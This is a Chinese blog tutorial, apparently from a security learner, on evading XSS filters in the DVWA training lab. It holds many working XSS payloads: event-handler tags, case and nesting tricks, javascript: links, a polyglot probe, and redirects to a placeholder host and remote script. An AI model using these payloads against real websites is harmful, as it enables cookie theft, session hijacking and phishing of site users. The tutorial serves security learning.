XSS(跨站脚本攻击)多姿势绕过滤思路

news/2024/7/19 15:22:54 标签: js, javascript, web, xss
webkit-tap-highlight-color: rgba(0, 0, 0, 0);">

XSS(跨站脚本攻击)多姿势绕过滤思路

  • 0x01 什么是XSS?
  • 0x02 XSS的危害
  • 0x03 XSS类型
  • 0x04 多姿势绕过
  • 0x05 其他情况
  • 0x06 总结


0x01 什么是XSS?

恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击主要针对的是客户端的攻击。

0x02 XSS的危害

XSS能实现的的攻击有很多,一般攻击水平是取决于攻击者的js水平。

  • 针对用户:窃取cookie劫持会话、网络钓鱼、放马挖矿、广告刷流量等。

  • 针对WEB服务:劫持后台、篡改页面、传播蠕虫、内网扫描等。

0x03 XSS类型

  1. 反射型

    又被称为非持久型XSS,将JS恶意代码暂时保存到网页前端,一旦重新请求页面,恶意代码会被消除,一般用于XSS注入点的盲测或者钓鱼。

  2. 存储型

    存储型XSS,又称持久型XSS,它和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器的数据库或文件中。允许用户存储数据的WEB应用程序都可能出现存储型漏洞,当攻击者提交一段XSS代码后,被服务器接受被储存,当访问者再次访问此网站,这段代码又被提取出来,响应给浏览器。形成储存型XSS漏洞攻击。

  3. DOM型

    全称Document Object Model,在网站页面中有许多页面的元素,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。简单来说DOM是通过url传入参数来触发XSS的,也可以认为是反射型的一种。

0x04 多姿势绕过

1.基本的xss

以DVWA(Reflected)的low等级举例(完全没有过滤的情况下)。

<script>alert(`Rdrug`);</script>

在这里插入图片描述

2.大小写绕过、字符拼接

以DVWA(Reflected)的middle等级举例。

源码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

str_replace函数直接将<script>进行过滤,这里就可以考虑用字符拼接和大小写绕过。

字符拼接:

<scr<script>ipt>alert(`Rdrug`)</script>

在这里插入图片描述

大小写绕过:

<ScrIpt>alert(`Rdrug`);</script>

在这里插入图片描述

3.解锁更多姿势

接下来以DVWA(Reflected)的high等级,来举例多种绕过过滤的方式。

先看一下high安全等级的源码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
  // Get input
  $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

  // Feedback for end user
  echo "<pre>Hello ${name}</pre>";
}

?>

他用了 preg_replace函数,用正则表达式几乎完美地将<script>标签过滤掉了。

##既然谈到正则表达式,就顺便简单讲一下它里面这个表达式的含义吧。

/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i
/ 表示正则表达式的分解符
< 表示左尖括号
. 表示匹配除了换行符/n之外的任意字符
* 表示贪婪匹配,.*就是匹配任意字符的任意个数
i 在/之外,是修饰符表示不区分大小写

//更多关于正则表达式的知识可以参考:https://www.runoob.com/regexp/regexp-syntax.html

只要不用到<script>标签,其实还有特别多标签也可以实现XSS。


以下语句是多种绕过姿势:

<img src=1 onerror=alert(\`Rdrug\`);>
<input onfocus="alert('Rdrug');">	
##当 input 输入框获取焦点时执行一段 Javascript代码
<input onblur=alert("Rdrug") autofocus><input autofocus>
##当用户离开input输入框时执行一段Javascript代码
<input onfocus="alert('Rdrug');" autofocus>
##通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发。(容易造成死循环)
<iframe onload=alert("Rdrug");></iframe>
​一个内联框架被用来在当前 HTML文档中嵌入另一个文档,onload 事件在frame或者iframe载入完成后被触发。
<video><source onerror="alert("Rdrug")">
<body/onload=alert("Rdrug");>
<body onscroll=alert("Rdrug");><input autofocus>
​##onscroll 事件在元素滚动条在滚动时触发。
<textarea onfocus=alert("Rdrug"); autofocus>
##文本域标签,autofocus元素自动触发。
<link rel=import href="http://127.0.0.1/1.js">
##利用link远程包含js文件

利用javascript伪协议(常用于钓鱼):

<a href="javascript:alert("Rdrug");">不要点我</a>
<iframe src=javascript:alert("Rdrug");></iframe>
<img src= 'http://127.0.0.1/2.jpg' ondblclick="alert("Rdrug")" />
<form action="Javascript:alert(`Rdrug`)"><input type=submit>

4.转义字符的排查

在测试xss的位置写入以下字符,查看页面源码,观察哪些代码被过滤或者转义。

jaVasCript: /*-/*/*\/*'/*"/**/ ( /* */ oNcliCk=alert() ) //%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e 

0x05 其他情况

  • 过滤空格:

用/代替空格

  • 过滤关键字:

双写关键字、大小写、字符拼接、其它字符混淆、编码绕过

  • 过滤双引号,单引号:

如果是html标签中,可以不用引号。如果是在js中,可以用反引号代替单双引号。或者用编码绕过

  • 过滤URL地址:
  1. html标签中用//代替http://
`<img src="x" onerror=document.location=`//www.xxx.com/cookie.js`>`
  1. 使用中文逗号代替英文逗号
<img src="x" onerror="document.location=`http://www。xxx。com`">
  1. 十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>

0x06 总结

老师说,在实际渗透中建议不用alert(),用console_log(),查看控制台是否有回显,应尽量减小对所受测试网站的影响。


http://www.niftyadmin.cn/n/1440359.html

相关文章

Oracle中的关键字

NVL和COALESCE的区别&#xff1a; nvl(COMMISSION_PCT,0)如果第一个参数为null&#xff0c;则返回第二个参数如果第一个参数为非null&#xff0c;则返回第一个参数 COALESCE(EXPR1,EXPR2,EXPR3...EXPRn)从左往右数&#xff0c;遇到第一个非null值&#xff0c;则返回该非null值。…

浅谈Android O Notification声音播放流程

前言 我们在做Android开发的时候&#xff0c;免不了会使用到Notification&#xff0c;而且在android设备的设置中还可以设置通知音的优先级&#xff0c;以及播放的声音种类。那么通知音是如何播放的呢&#xff0c;今天我们就来谈谈这个。 Notification的使用 NotificationManag…

WOW魔兽世界账号安全完全攻略(转)

常见盗号手段揭密 利用非法程序盗号   我们认为一切包含有恶意代码和脚本&#xff0c;对数据资料或操作系统造成安全风险&#xff0c;以及对用户信息和个人隐私、财产造成侵犯的可执行程序&#xff0c;都归为非法程序。  导致游戏账号被盗的首要原因就是玩家擅自使用一些非…

DedeCMS V5.7 SP2前台文件上传漏洞复现+审计+修复建议

DedeCMS V5.7 SP2前台文件上传漏洞复现审计修复建议前言0x01 环境搭建0x02 复现过程重点开始0x03 源码审计0x04 修复建议前言 CVE-2018-20129 2018-12-11 在CVE中文申请站公布了一个 DEDECMS 5.7 SP2 最新版本中存在文件上传漏洞&#xff0c;具有管理员权限者可利用该漏洞上传…

ActiveX组件技术在WAP中的成功应用--QuickWAP(转)

WAP&#xff08;无线通讯协议&#xff09;是在数字移动电话、因特网或其他个人数字助理机&#xff08;PDA&#xff09;、计算机应用之间进行通讯的开放全球标准。现在很多人直接用WAP来代表手机上网。WAP的本质就是INTERNET&#xff0c;而且是可以移动的INTERNET。WAP定义了一种…

SQL注入-常用函数和语句

文章目录前言0x01 常用函数0x02 常用语句总结前言 SQL的函数很多&#xff0c;这里简单介绍一下在SQL注入中比较常用到的一些函数&#xff0c;如果你SQL学的不是很好&#xff0c;又想练一练SQL手工注入的话&#xff0c;可以优先学习这些函数和语句。 0x01 常用函数 system_user…

MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法

MS17-010&#xff08;Eternal blue永恒之蓝&#xff09;漏洞利用修复方法前言0x01 准备工作0x02 漏洞利用0x03 修复方案总结前言 提到操作系统漏洞&#xff0c;大家肯定听说过耳熟能详的永恒之蓝&#xff08;MS17-010&#xff09;了&#xff0c;他的爆发源于WannaCry勒索病毒的…

centos7编译安装php7.2

去官网下载php7.2安装包&#xff0c;选择一个结点下载&#xff1a;http://php.net/downloads.php 下载&#xff1a;wget -ivh http://cn.php.net/distributions/php-7.2.12.tar.gz解压源码包&#xff1a;tar -zxf php-7.2.12.tar.gz 安装编译php需要的依赖包:yum install gcc …